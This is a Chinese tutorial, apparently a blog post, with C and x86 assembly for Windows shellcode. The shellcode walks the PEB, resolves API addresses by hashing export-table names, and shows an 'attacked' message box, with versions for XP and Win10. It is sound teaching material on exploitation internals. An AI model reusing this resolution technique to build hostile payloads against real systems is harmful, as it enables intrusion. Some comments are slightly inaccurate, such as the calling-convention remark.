动态定位 API 地址的 shellcode

TOC

  1. 1. 信息

信息

下面我们将给 shellcode 加入自动定位 API 的功能。为了实现弹出消息框并显示“attacked”的功能,需要使用如下 API 函数。

(1)MessageBoxA 位于 user32.dll 中,用于弹出消息框。

(2)ExitProcess 位于 kernel32.dll 中,用于正常退出程序。

(3)LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以在我们调用 MessageBoxA 之前,应该先使用 LoadLibrary(“user32.dll”)装载其所属的动态链接库。

通过前面介绍的 win_32 平台下搜索 API 地址的办法,我们可以从 FS 所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的 API 函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。

由于 shellcode 最终是要放进缓冲区的,为了让 shellcode 更加通用,能被大多数缓冲区容纳,我们总是希望 shellcode 尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。

通常情况下,我们会对所需的 API 函数名进行 hash 运算,在搜索导出表时对当前遇到的函数名也进行同样的 hash,这样只要比较 hash 所得的摘要(digest)就能判定是不是我们所需的 API了。虽然这种搜索方法需要引入额外的 hash 算法,但是可以节省出存储函数名字符串的代码。

本节实验中所用 hash 函数的 C 代码如下。

#include <stdio.h>
#include<stdlib.h>

unsigned int GetHash(char *fun_name)
{
unsigned int digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7));
digest+= *fun_name ;
fun_name++;
}
return digest;
}

int main(int argc,char **args)
{
unsigned int hash;

if(argc!=2)
{
fprintf(stderr,"Error argument\n");
exit(1);
}
hash= GetHash(args[1]);
printf("result of hash is %08X\n",hash);
}

在将 hash 压入栈中之前,注意先将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 中的字串处理方向发生变化而产生错误(如指令 LODSD)。如果您在堆溢出利用中发现原本身经百战的 shellcode 在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加 shellcode 的通用性。

现在可以将这些 hash 结果压入栈中,并用一个寄存器标识位置,以备后面搜索 API 函数时使用。

;储存hash值

push 0x1e380a6a ;hash of MessageBoxA

push 0x4fd18963 ;hash of ExitProcess

push 0x0c917432 ;hash of LoadLibraryA

然后实现下面的代码。

//测试环境:Windows XP + vs2010
//编译选项:无
//注:在Win10中无效,原因下面会讲到

int main()
{

__asm
{

//eax 作为计算寄存器
//edi 储存动态库基址
//edx 用来做要装载函数的地址偏移

//注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方

cld //清除df标志位

push ebp
mov ebp,esp

xor edx,edx
dec edx //用edx来做计数器,初始值为-1

//储存hash值
push 0x0c917432 //LoadLibraryA的hash值
push 0x4fd18963 //ExitProcess的hash值
push 0x1e380a6a //MessageBoxA的hash值

//找到kernel32.dll的基地址
mov eax, fs:[0x30] //获取PEB基址
mov eax, [eax + 0x0c] //获取PEB_LDR_DATA结构指针
mov eax, [eax + 0x1c] //获取InInitializationOrderModuleList成员指针
//order list
mov eax, [eax] //获取双向链表当前节点的后继指针
//(kernel32.dll)

mov edi, [eax + 0x08] //取其基地址,该结构当前包含的是kernel32.dll

find_lib_functions:
mov eax,[ebp+edx*4] //处理第(-(edx))个需要获得的函数

cmp eax, 0x1e380a6a //MessageBoxA的hash值,如果是MessageBoxA
//则在找它之前
//先要运行LoadLibrary("user32")来装载user32.dll
jne find_functions

//装载user32.dll
push edx //保护edx,否则执行LoadLibrary时会破坏edx
//push a pointer to "user32" onto stack
push 0x00003233
push 0x72657375 //把"user32"压入栈中
push esp //把"user32"在栈中的地址压入栈中
call [ebp - 1*4] //调用第一个函数LoadLibraryA()

add esp,8 //恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
//父程序来恢复栈区

pop edx //恢复edx
mov edi,eax //把user32.dll的基地址给edi

find_functions:
mov eax, [edi + 0x3c] //获得PE头偏移
mov eax, [edi + eax + 0x78] //获得导出表指针偏移

mov ecx,[edi + eax + 0x24] //获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
add ecx,edi //获得函数名字列表与函数入口偏移地址列表的对应表指针
push ecx //保存函数名字列表与函数入口偏移地址列表的对应表指针

mov ecx,[edi + eax + 0x1c] //获得函数入口偏移列表地址偏移
add ecx,edi //获得函数入口偏移列表地址
push ecx //保存函数入口偏移列表地址

mov eax,[edi + eax + 0x20] //获得函数列表名指针偏移
mov esi,edi //寄存器不够用了,临时使用下
add esi,eax //获得函数列表名指针

xor ecx,ecx //计数器清0
next_function_loop:
mov eax,[esi+ecx*4] //获得第(ecx的值)个函数名字字符串指针的偏移
add eax,edi //获得第(ecx的值)个函数名字字符串指针

push ecx //保存状态,因为要用ecx用来做新的计数器
mov ecx,eax
xor ebx,ebx //清0,用来储存计算好的hash值
hash_loop:
movsx eax,byte ptr[ecx]
cmp al,ah //判断ax是否为0,也即是字符串是否结束
jz compare_hash
ror ebx,7
add ebx,eax
inc ecx
jmp hash_loop

compare_hash:
pop ecx //恢复状态

inc ecx //增加计数器

cmp ebx,[ebp+edx*4] //判断hash值是否为栈区的第(-(edx))个值

jnz next_function_loop

dec ecx //如果是的话就进行下一个值的处理

pop eax //恢复函数入口偏移列表地址
pop ebx //恢复函数名字列表与函数入口偏移地址列表的对应表指针
mov cx,[ebx+ecx*2] //用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址

mov eax,[eax + ecx*4] //
add eax,edi //获得函数入口地址

mov [ebp+edx*4],eax //保存函数入口地址到栈区的第(-(edx))个位置

sub edx,1

cmp edx,0xfffffffc //-4,这里仅仅执行三次
jne find_lib_functions

function_cal1:
xor ebx,ebx
push ebx //截断字符
push 0x64656B63
push 0x61747461 //把'attacked'入栈
mov eax,esp //获得’attached‘的地址

push ebx //0
push eax
push eax
push ebx //0

call[ebp - 3*4] //调用MessageBoxA
push ebx
call[ebp - 2*4] //调用ExitProcess
}
}

因为在Win10中,ntdll.dll和kernel32.dll库中间还有一个kernelbase.dll库,Xp是没有的,所以上面的代码在Win10跑会出错,而且Win10的VS2017对汇编的支持力度不够,用cl.exe编译的话,会出现hash_loop无定义的问题,所以下面的代码我用汇编来实现。

测试环境:Win10 + vs2017

编译选项:无

; Listing generated by Microsoft (R) Optimizing Compiler Version 19.15.26726.0 

.686P ;接受全部Pentium Pro指令
.XMM ;接受MMX指令
include listing.inc
.model flat ;创建一个32位的程序,运行在IA-32微处理器的32位Windows操作系统

assume fs:nothing ;在使用fs寄存器的时候先assume fs:nothing

INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES

PUBLIC _main
_TEXT SEGMENT
_main PROC
;eax 作为计算寄存器
;edi 储存动态库基址
;edx 用来做要装载函数的地址偏移

;注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方

cld ;清除df标志位

push ebp
mov ebp,esp

xor edx,edx
dec edx ;用edx来做计数器,初始值为-1

;储存hash值
push 0c917432h ;LoadLibraryA的hash值
push 4fd18963h ;ExitProcess的hash值
push 1e380a6ah ;MessageBoxA的hash值

;找到kernel32.dll的基地址
mov eax, fs:[30h] ;获取PEB基址
mov eax, [eax + 0ch] ;获取PEB_LDR_DATA结构指针
mov eax, [eax + 1ch] ;获取InInitializationOrderModuleList成员指针
;order list
mov eax, [eax] ;获取双向链表当前节点的后继指针
;(KernelBase.dll)
mov eax, [eax] ;获取双向链表当前节点的后继指针
;(kernel32.dll)

mov edi, [eax + 08h] ;取其基地址,该结构当前包含的是kernel32.dll

find_lib_functions:
mov eax,[ebp+edx*4] ;处理第(-(edx))个需要获得的函数

cmp eax, 1e380a6ah ;MessageBoxA的hash值,如果是MessageBoxA
;则在找它之前
;先要运行LoadLibrary("user32")来装载user32.dll
jne find_functions

;装载user32.dll
push edx ;保护edx,否则执行LoadLibrary时会破坏edx
;push a pointer to "user32" onto stack
push 00003233h
push 72657375h ;把"user32��"压入栈中
push esp ;把"user32��"在栈中的地址压入栈中
call dword ptr [ebp - 1*4] ;调用第一个函数LoadLibraryA()

add esp,8 ;恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
;父程序来恢复栈区

pop edx ;恢复edx
mov edi,eax ;把user32.dll的基地址给edi

find_functions:
mov eax, [edi + 3ch] ;获得PE头偏移
mov eax, [edi + eax + 78h] ;获得导出表指针偏移

mov ecx,[edi + eax + 24h] ;获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
add ecx,edi ;获得函数名字列表与函数入口偏移地址列表的对应表指针
push ecx ;保存函数名字列表与函数入口偏移地址列表的对应表指针

mov ecx,[edi + eax + 1ch] ;获得函数入口偏移列表地址偏移
add ecx,edi ;获得函数入口偏移列表地址
push ecx ;保存函数入口偏移列表地址

mov eax,[edi + eax + 20h] ;获得函数列表名指针偏移
mov esi,edi ;寄存器不够用了,临时使用下
add esi,eax ;获得函数列表名指针

xor ecx,ecx ;计数器清0
next_function_loop:
mov eax,[esi+ecx*4] ;获得第(ecx的值)个函数名字字符串指针的偏移
add eax,edi ;获得第(ecx的值)个函数名字字符串指针

push ecx ;保存状态,因为要用ecx用来做新的计数器
mov ecx,eax
xor ebx,ebx ;清0,用来储存计算好的hash值
hash_loop:
movsx eax,byte ptr[ecx]
cmp al,ah ;判断ax是否为0,也即是字符串是否结束
jz compare_hash
ror ebx,7
add ebx,eax
inc ecx
jmp hash_loop

compare_hash:
pop ecx ;恢复状态

inc ecx ;增加计数器

cmp ebx,[ebp+edx*4] ;判断hash值是否为栈区的第(-(edx))个值

jnz next_function_loop

dec ecx ;如果是的话就进行下一个值的处理

pop eax ;恢复函数入口偏移列表地址
pop ebx ;恢复函数名字列表与函数入口偏移地址列表的对应表指针
mov cx,[ebx+ecx*2] ;用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址

mov eax,[eax + ecx*4] ;
add eax,edi ;获得函数入口地址

mov [ebp+edx*4],eax ;保存函数入口地址到栈区的第(-(edx))个位置

sub edx,1

cmp edx,0fffffffch ;-4,这里仅仅执行三次
jne find_lib_functions

function_cal1:
xor ebx,ebx
push ebx ;截断字符
push 64656B63h
push 61747461h ;把'attacked'入栈
mov eax,esp ;获得’attached‘的地址

push ebx ;0
push eax
push eax
push ebx ;0

call dword ptr [ebp - 3*4] ;调用MessageBoxA
push ebx
call dword ptr [ebp - 2*4] ;调用ExitProcess
_main ENDP
_TEXT ENDS
END